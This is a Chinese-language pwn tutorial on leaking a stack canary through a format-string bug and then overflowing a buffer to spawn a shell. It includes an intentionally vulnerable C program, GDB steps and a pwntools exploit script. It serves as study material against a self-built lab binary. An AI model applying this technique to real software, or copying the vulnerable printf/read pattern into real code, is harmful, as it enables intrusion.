pwn學習---藉助格式化輸出繞過canary保護

0x01 原理簡介

格式化字符串漏洞是因爲c語言中printf的參數個數不是確定的,參數的長度也不是確定的,當printf把我們的輸入當作第一個參數直接輸出的時候,我們輸入若干格式化字符串,會增加與格式化字符串相對應的參數,會泄露出棧中的內容

Stack canary保護機制在剛進入函數時,在棧上放置一個標誌canary,然後 在函數結束時,判斷該標誌是否被改變,如果被改變,則表示有攻擊行爲發生。canary在棧中的結構如下:

在這裏插入圖片描述

綜上,我們可以通過格式化輸出來泄露canary的地址,然後再構造payload時,用獲取到的canary地址覆蓋到原來canary的地址上。

0x02 C語言代碼及編譯

我們進行編譯的C語言代碼是:

#include<stdio.h>
void exploit()
{
          system("/bin/sh");
}
      void func()
{
        char str[16];
        read(0, str, 64);
        printf(str);
        read(0, str, 64);
}
    int main()
{
       func();
       return 0;
}

接下來進行編譯:

gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c

-fstack-protector:啓用canary棧保護
編譯完成之後,可以checksec看一下保護機制再次確認一下:
在這裏插入圖片描述

0x03 尋找canary地址並構造payload

用 b func 在func函數處下一個斷點
start之後一直n,單步執行,直到出現canary
在這裏插入圖片描述接下來通過如下代碼找到canary的地址爲0x804bf12

x/x  0x80490d0

在這裏插入圖片描述
在這裏插入圖片描述再次查看canary的值和地址,我們發現cannary的值和地址均變化了,的確是這樣,canary的值和地址是會變化的,所以不能用到上面獲取到的canary的值和地址。我們就可以用格式化輸出的方法將canary的值輸出。

接下來查找它相對於棧頂偏移是多少,stack 20,查看棧前20個地址
在這裏插入圖片描述2c也就是十進制的44( 可以通過 p/d 0x2c 去查看),也就是與棧頂相差11個地址,確定canary相對第一次輸入的堆棧偏移11

繼續n,到了輸入的地方,輸入%11$8x,這裏就是我們說的格式化輸出,那麼%11$8x有什麼含義呢?
%11這裏就是取與棧頂相差11個位置的地址,也就是我們上面找到的canary的值,$08x就是取這個地址的前8位(注意,由於是小端序,這是從右往左開始的數的)。
在這裏插入圖片描述可以看到canary相對於第二次輸入的偏差是4個地址,下圖框起來的都需要我們去填充。
在這裏插入圖片描述要跳到exploit函數去執行,我們還要知道exploit函數的地址,用 p exploit
在這裏插入圖片描述
綜上,我們就可以構造payload爲:payload=coffset*‘a’+canary+roffset*‘a’+raddr

0x04 利用python進行交互

python代碼爲:

from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)

canary=canary.decode("hex")[::-1]

coffset=4*4
roffset=3*4
raddr=p32(0x8049192)
payload=coffset*'a'+canary+roffset*'a'+raddr
p.sendline(payload)
p.interactive()

在這裏插入圖片描述get shell !

0x05 參考文章

https://www.jianshu.com/p/3d390a321cb8

https://blog.csdn.net/weixin_30912051/article/details/95872186

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章